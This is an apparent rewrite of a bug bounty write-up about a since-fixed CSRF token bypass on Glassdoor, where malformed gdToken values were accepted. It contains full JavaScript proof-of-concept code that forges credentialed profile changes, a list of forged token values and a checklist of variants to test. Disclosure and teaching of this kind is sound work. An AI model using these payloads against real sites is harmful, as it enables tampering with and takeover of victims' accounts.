Site Wide CSRF On Glassdoor
The CSRF token validation on Glassdoor could be bypassed by supplying a token in the correct format but with a different length, which triggered an unhandled exception and allowed the request to proceed. An attacker could perform site-wide CSRF on both job seeker and employer accounts, potentially leading to full account takeover.
In february, 2020 I was looking at what to hack. Glassdoorhas a good security team and I had found a lot of bugs on their application before.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Glassdoor runs a public bug bounty programme on HackerOne, and the researcher had reported bugs to the team before. In February 2020 he started looking at the application again. The relevant defence was a CSRF token, called gdToken, that the site used on all endpoints. The site used a token, called gdToken, on all endpoints to prevent CSRF, and it looked like a secure implementation.
The token had a three-part structure, with each part an encoded string separated by colons. A real token looked like this:
biu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-[redacted]:[redacted]
Glassdoor has two kinds of accounts, Job Seeker and Employer, and both used the same CSRF implementation.
Setup
The researcher worked with two accounts, referred to as account A and account B, and generated tokens from one account to try against the other's session. The proof of concept was written in JavaScript using XMLHttpRequest, with withCredentials set so that the victim's cookies would be sent.
Finding it
The first test was the obvious one: are the tokens properly tied to the session? The researcher generated random tokens from one account and tried to use them for someone else's session. They were session tied, and the cross-account requests failed.
During that testing, however, one request completed successfully. Investigating why, the researcher saw that while copying a token he had missed the first character, which was an underscore. So for a token like:
_iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-[redacted]:[redacted]
only this was copied:
iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-[redacted]:[redacted]
and used for someone else's session. The request completed. The CSRF protection had failed on a token that was not the victim's.
The researcher reproduced the behaviour with new tokens: a token generated from account A, with its first character stripped, was accepted as the CSRF token for account B, and the requests completed. The bypass worked for both Job Seeker and Employer accounts, which meant CSRF on all endpoints of both account types.
Exploitation
The researcher built a proof of concept for two actions on a job seeker's account: changing the name and adding an experience. The page runs two functions, attack() and attack2(), each sending a POST to the profile API with the victim's credentials attached.
Step 1: change the name
function attack()
{
var fetchHash = new XMLHttpRequest();
var url = "https://www.glassdoor.com/member/profileApi/set.htm";
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
//datax = fetchHash.responseText;
}
}
fetchHash.open("POST",url, true);
fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.fname=hacked&data.lname=tabahi&data.location=&data.errors=%5Bobject%20Object%5D&features=profileHeader&gdToken=Lw4rY4QtXJRJSGdXYYy2g:[redacted]:8_-[redacted]');
}
attack();
attack2();
The request goes to https://www.glassdoor.com/member/profileApi/set.htm as a form-encoded POST. withCredentials=true makes the browser include the victim's session cookies, which is what turns a cross-site request into an authenticated one. The body sets data.fname and data.lname to new values and carries a gdToken that was not issued to the victim's session. The onreadystatechange handler only checks for a completed request with status 200; the response body is not used.
Step 2: add an experience
function attack2()
{
var fetchHash = new XMLHttpRequest();
var url = "https://www.glassdoor.com/member/profileApi/set.htm";
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
//datax = fetchHash.responseText;
}
}
fetchHash.open("POST",url, true);
fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.id=0&data.employerId=7906&data.employerName=The%20Hackett%20Group&data.title=Manager&data.titleId=63697&data.location=Los%20Angeles%2C%20CA%20(US)&data.locationId=1146821&data.locationType=C&data.startMonth=2&data.startYear=2019&data.endMonth=1&data.endYear=2020&data.originalEndMonth=&data.originalEndYear=&data.description=ahacked!!!!%20%20HACKED!!&data.errors=%5Bobject%20Object%5D&data.squareLogoUrl=https%3A%2F%[redacted].burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.png&data.overviewUrl=www.thehackettgroup.com&features=experience&gdToken=Lw4rY4QtXJRJSGdXYYy2g:[redacted]:8_-[redacted]');
}
This second request targets the same endpoint with features=experience and a full set of experience fields: employer id and name, title, location, start and end dates, and a description. The data.squareLogoUrl points at a Burp Collaborator host. The same foreign gdToken is used.

Here is the POC video.
Root cause
After the report was triaged, the researcher kept discussing the issue with the team and looked more closely at why the forged tokens worked. The problem was in the length validation of the token.
A valid token had the format:
--encoded-string--:--encoded-string--:--encoded-string--
Length of token: 153
If a token was supplied in the same format but with a different number of characters, so that its total length was not 153, the server treated it as a valid token for the current session. In other words, a token satisfying these constraints was accepted for any session:
The format should be:
--any-no-of-characters---:---anyno-of-characters--:--atleast-one-character--
Total length of the token ≠ length of an actual token
For example, the following gdToken values were accepted as valid by the server for all account sessions on glassdoor.com:
::0
:tabahi:x
x:tabahi:1
sdfds:3454:dsf34
x::2
The validation flow was roughly:
---> The server verifies the format of the CSRF token
---> Now the sever checks if the token is session tied
---> Sever allows operation to be completed
With a token like ::9, the server first verifies the format, and the forged token passes because it has the right shape (zero characters, zero characters, one character). The server then tries to check whether the token is session tied, and possibly runs other checks, and an exception is triggered because the token has an invalid length. That exception was not handled properly, so the code was allowed to continue and the operation completed. The Glassdoor security team found out that this was an exception handling issue: the exception was triggered with the forged tokens, but it did not fail the response, it was only logged, and the operation was allowed to continue.
Impact
The bypass gave site-wide CSRF on both Job Seeker and Employer accounts. The researcher listed the critical actions an attacker could perform.
Job seeker account:
- Adding salaries, reviews and interviews.
- Editing the profile.
- Adding CVs.
- Deleting existing CVs.
- Saving jobs.
- Applying to jobs.
Employer account:
- Posting new jobs.
- Deleting existing jobs.
- Inviting a new user as admin, which the researcher describes as account takeover.
Because the employer account can invite a new user with admin access, the researcher notes this could lead to full account takeover. The proof of concept itself only demonstrated changing the name and adding an experience on a job seeker's account.
Fix
A fix was rolled out. The Glassdoor security team determined that the cause was the exception handling: the exception triggered by the forged tokens did not fail the response, it was logged and the operation continued. After the fix, a 403 is sent when that exception is triggered.
The bug was rewarded at $3000, described as Glassdoor's top bounty plus a bonus.


Variants to test
- Strip or add characters to a valid CSRF token and replay it against another session. A positive result is a state-changing request completing with a token that was never issued to that session.
- Send tokens with the correct delimiter structure but wrong part lengths, such as
::0,x::2or:tabahi:x. A positive result is the server accepting them as valid for any session. - Compare the token's declared length with the length the server actually enforces. A positive result is any token whose total length differs from the real one being accepted.
- Look for validation code that catches an exception and continues instead of failing the request. A positive result is a request that should have been rejected returning success while the error is only logged.
- Test the same bypass on every account type and every endpoint that uses the token, since a shared implementation means a shared weakness. A positive result is the bypass working across roles and actions, including privileged ones such as inviting an admin user.
What happened, in plain words
Glassdoor is a website where people look for jobs and companies post job adverts. It has two kinds of accounts: Job Seeker (someone looking for work) and Employer (a company posting jobs). Both types of account can do things like edit a profile, add a CV, or post a job. To stop other websites from silently making those changes on your behalf, Glassdoor uses a security token called gdToken. A token is a long random string that the site gives your browser and expects back with every action that changes something. If the token is missing or wrong, the action should be refused.
The researcher found that the token check could be fooled. If you took a real token and removed its first character, or sent a made-up token with the right shape but the wrong length, the server accepted it. That meant an attacker could create a web page that, when a logged-in Glassdoor user visited it, would quietly change that user's profile or add fake experience entries. The same weakness worked on both Job Seeker and Employer accounts, so an attacker could also post jobs or invite a new admin user to an employer account, which the researcher describes as full account takeover.
The bug was reported and a fix was rolled out, and it was rewarded with $3000.
Background: what is a CSRF token and why does it matter?
When you log in to a website, the site gives your browser a small piece of data called a cookie. Your browser sends that cookie with every request to the site, so the site knows who you are. That is convenient, but it also means that if you visit a malicious page while logged in, that page can make your browser send requests to the site you are logged in to. The site will see your cookie and think the request came from you. This kind of attack is called Cross-Site Request Forgery, or CSRF.
To prevent CSRF, sites add a second check: a token. The token is a secret value that the site puts into the page it serves to you. When your browser sends a request that changes something (like saving a profile), it must include that token. A malicious page on another site cannot read the token from your Glassdoor page because browsers block one site from reading another site's content. So even though the malicious page can make your browser send the request with your cookie, it cannot include the correct token, and the request is rejected.
For this to work, the token must be tied to your session: the server must check that the token it receives was the one it issued to you. If the server accepts any token, or a token from a different session, the protection fails.
Glassdoor's token, gdToken, looked like three chunks of random characters separated by colons. A real one looked like this:
biu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-[redacted]:[redacted]
Each part is an encoded string. The colons are separators. The whole token is 153 characters long.
How the researcher found the bug
The researcher started by testing the obvious question: are tokens properly tied to the session? He generated tokens from one account (call it account A) and tried to use them in requests made as another account (account B). The requests failed, which is the correct behaviour. The tokens were session-tied.
But during that testing, one request succeeded. He investigated and saw that while copying a token he had missed the first character, which was an underscore. So for a token like:
_iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-[redacted]:[redacted]
he had only copied this:
iu6vsNnbbc56UiRo1AMmQ:zmI0_F7v9V878L4_-kcUfOTnPTK7uE2i2xRa-[redacted]:[redacted]
and used it for someone else's session. The request completed. That meant the CSRF protection had failed: a token that was not the victim's was accepted.
He reproduced this with new tokens: a token from account A, with its first character removed, was accepted as the CSRF token for account B. The bypass worked for both Job Seeker and Employer accounts, so it affected all endpoints of both account types.
The proof of concept
To show the impact, the researcher wrote a small web page that, when visited by a logged-in Glassdoor user, would perform two actions on that user's account: change the name and add an experience entry. The page uses JavaScript and the browser's XMLHttpRequest object, which is a way for JavaScript to send HTTP requests without reloading the page. The key setting is withCredentials=true, which tells the browser to include the user's cookies with the request. Without that, the request would be anonymous; with it, the request is made as the logged-in user.
The page defines two functions, attack() and attack2().
Step 1: change the name
function attack()
{
var fetchHash = new XMLHttpRequest();
var url = "https://www.glassdoor.com/member/profileApi/set.htm";
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
//datax = fetchHash.responseText;
}
}
fetchHash.open("POST",url, true);
fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.fname=hacked&data.lname=tabahi&data.location=&data.errors=%5Bobject%20Object%5D&features=profileHeader&gdToken=Lw4rY4QtXJRJSGdXYYy2g:[redacted]:8_-[redacted]');
}
attack();
attack2();
Line by line:
function attack() { ... }defines a function namedattackthat contains the code to send the first request.var fetchHash = new XMLHttpRequest();creates a new request object. Think of it as a blank letter that you will fill in and send.var url = "https://www.glassdoor.com/member/profileApi/set.htm";stores the address the request will go to. This is an API endpoint: a URL that accepts data and performs an action, rather than showing a web page.fetchHash.onreadystatechange=function () { ... }sets up a function that will be called whenever the request's state changes. Inside, it checksif(fetchHash.readyState==4 && fetchHash.status==200).readyState==4means the request is finished;status==200means the server responded with success. The commented-out line//datax = fetchHash.responseText;would have stored the response body, but it is not used.fetchHash.open("POST",url, true);prepares the request: method POST (used to send data), the URL from before, andtruefor asynchronous (the page does not freeze while waiting).fetchHash.withCredentials=true;is the crucial line: it tells the browser to attach the user's cookies to this request. That is what makes the request act as the logged-in user.fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");sets the format of the data being sent.application/x-www-form-urlencodedis the same format a normal HTML form uses:name=value&name=value.fetchHash.send('...');sends the request body. The body containsuserId=(empty),data.fname=hacked,data.lname=tabahi,data.location=(empty),data.errors=%5Bobject%20Object%5D(which is the URL-encoded form of[object Object]),features=profileHeader, and agdTokenvalue. That token is not the victim's token. Because of the bug, the server accepts it.attack();calls the function, sending the request.attack2();calls the second function, which is defined below.
Step 2: add an experience
function attack2()
{
var fetchHash = new XMLHttpRequest();
var url = "https://www.glassdoor.com/member/profileApi/set.htm";
fetchHash.onreadystatechange=function ()
{
if(fetchHash.readyState==4 && fetchHash.status==200)
{
//datax = fetchHash.responseText;
}
}
fetchHash.open("POST",url, true);
fetchHash.withCredentials=true;
fetchHash.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
fetchHash.send('userId=&data.id=0&data.employerId=7906&data.employerName=The%20Hackett%20Group&data.title=Manager&data.titleId=63697&data.location=Los%20Angeles%2C%20CA%20(US)&data.locationId=1146821&data.locationType=C&data.startMonth=2&data.startYear=2019&data.endMonth=1&data.endYear=2020&data.originalEndMonth=&data.originalEndYear=&data.description=ahacked!!!!%20%20HACKED!!&data.errors=%5Bobject%20Object%5D&data.squareLogoUrl=https%3A%2F%[redacted].burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.png&data.overviewUrl=www.thehackettgroup.com&features=experience&gdToken=Lw4rY4QtXJRJSGdXYYy2g:[redacted]:8_-[redacted]');
}
This function is almost identical to attack(). The differences are in the request body:
features=experiencetells the server this is an experience entry, not a profile header.data.employerId=7906anddata.employerName=The%20Hackett%20Groupidentify the employer.%20is a space.data.title=Manageranddata.titleId=63697set the job title.data.location=Los%20Angeles%2C%20CA%20(US)anddata.locationId=1146821set the location.%2Cis a comma.data.startMonth=2,data.startYear=2019,data.endMonth=1,data.endYear=2020set the dates.data.description=ahacked!!!!%20%20HACKED!!is the text of the experience.data.squareLogoUrl=https%3A%2F%[redacted].burpcollaborator.net%2Fsqlm%2F7906%2Fthe-hackett-group-squarelogo-1435689198144.pngis a URL pointing to a Burp Collaborator host. Burp Collaborator is a service that lets a tester see when a server makes a request to a URL the tester controls.data.overviewUrl=www.thehackettgroup.comis another URL field.- The same
gdTokenas before is used.
Here is the POC video.

Why it worked: the root cause
After the report was triaged, the researcher kept discussing with the team and looked more closely at why the forged tokens worked. The problem was in how the server checked the token's length.
A valid token had this format:
--encoded-string--:--encoded-string--:--encoded-string--
Length of token: 153
That is, three encoded strings separated by colons, total length 153 characters.
If a token was supplied in the same format but with a different number of characters, so that its total length was not 153, the server treated it as valid for the current session. In other words, any token that met these constraints was accepted for any session:
The format should be:
--any-no-of-characters---:---anyno-of-characters--:--atleast-one-character--
Total length of the token ≠ length of an actual token
For example, these gdToken values were accepted as valid by the server for all account sessions on glassdoor.com:
::0
:tabahi:x
x:tabahi:1
sdfds:3454:dsf34
x::2
The validation flow was roughly:
---> The server verifies the format of the CSRF token
---> Now the sever checks if the token is session tied
---> Sever allows operation to be completed
With a token like ::9, the server first checks the format. The forged token passes because it has the right shape: zero characters, zero characters, one character. Then the server tries to check whether the token is session-tied, and possibly runs other checks. At that point an exception is triggered because the token has an invalid length. An exception is an error condition in the code. If the code does not handle it properly, the program may stop or, worse, continue as if nothing went wrong. Here the exception was not handled properly: it was logged, but the code was allowed to continue, and the operation completed successfully.
The Glassdoor security team found out that this was an exception handling issue: the exception was triggered with the forged tokens, but it did not fail the response; it was only logged, and the operation was allowed to continue.
Impact
The bypass gave site-wide CSRF on both Job Seeker and Employer accounts. The researcher listed the critical actions an attacker could perform.
Job seeker account:
- Adding salaries, reviews and interviews.
- Editing the profile.
- Adding CVs.
- Deleting existing CVs.
- Saving jobs.
- Applying to jobs.
Employer account:
- Posting new jobs.
- Deleting existing jobs.
- Inviting a new user as admin, which the researcher describes as account takeover.
Because the employer account can invite a new user with admin access, the researcher notes this could lead to full account takeover. The proof of concept itself only demonstrated changing the name and adding an experience on a job seeker's account.
The fix
A fix was rolled out. The Glassdoor security team determined that the cause was the exception handling: the exception triggered by the forged tokens did not fail the response; it was logged and the operation continued. After the fix, a 403 is sent when that exception is triggered. A 403 is the HTTP status code for "Forbidden", meaning the server refuses to perform the action.
The bug was rewarded at $3000, described as Glassdoor's top bounty plus a bonus.


Variants to test
- Strip or add characters to a valid CSRF token and replay it against another session. A positive result is a state-changing request completing with a token that was never issued to that session.
- Send tokens with the correct delimiter structure but wrong part lengths, such as
::0,x::2or:tabahi:x. A positive result is the server accepting them as valid for any session. - Compare the token's declared length with the length the server actually enforces. A positive result is any token whose total length differs from the real one being accepted.
- Look for validation code that catches an exception and continues instead of failing the request. A positive result is a request that should have been rejected returning success while the error is only logged.
- Test the same bypass on every account type and every endpoint that uses the token, since a shared implementation means a shared weakness. A positive result is the bypass working across roles and actions, including privileged ones such as inviting an admin user.
Glossary
- API: a set of URLs on a website that accept data and perform actions, rather than showing pages to a person.
- Burp Collaborator: a service that gives you a unique URL and tells you when a server makes a request to it, used to detect server-side requests.
- Cookie: a small piece of data a website stores in your browser and your browser sends back with every request, used to remember who you are.
- CSRF (Cross-Site Request Forgery): an attack where a malicious website makes your browser send a request to another site where you are logged in, using your cookies.
- CSRF token: a secret value included in requests that change something, to prove the request came from the site's own page and not from another site.
- Endpoint: a specific URL that performs an action or returns data.
- Exception: an error condition in a program; if not handled, it can stop the program or be ignored and let it continue.
- HTTP status code: a number the server sends back to say what happened, such as 200 for success or 403 for forbidden.
- Session: the period during which a website remembers you as logged in, usually identified by a cookie.
- Session-tied: a token or value that is linked to one particular session and rejected if used in another.
- XMLHttpRequest: a browser feature that lets JavaScript send HTTP requests without reloading the page.
- withCredentials: a setting on XMLHttpRequest that tells the browser to include cookies with the request.